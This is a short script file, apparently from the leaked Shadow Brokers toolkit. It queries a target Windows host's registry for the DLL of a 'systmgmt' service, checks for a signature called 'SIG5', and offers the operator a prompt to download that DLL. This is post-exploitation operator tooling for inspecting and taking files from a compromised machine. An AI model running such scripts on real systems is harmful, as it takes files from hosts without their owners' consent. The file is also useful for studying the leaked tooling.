shadowbrokers-exploits/windows/Resources/Ep/Scripts/malfind/getsig5.eps
2017-04-14 11:45:07 +02:00

14 lines
No EOL
379 B
PostScript

@record on;
`regquery -hive L -subkey "system\\currentcontrolset\\services\\systmgmt\\Parameters" -value ServiceDll`;
string $service_dll = GetCmdData("value_data");
`dir $service_dll`;
int $size = GetCmdData("size");
@record off;
if (prompt "SIG5 was detected. Do you want to grab the server dll? ($service_dll, size of $size bytes)") {
`get $service_dll`;
}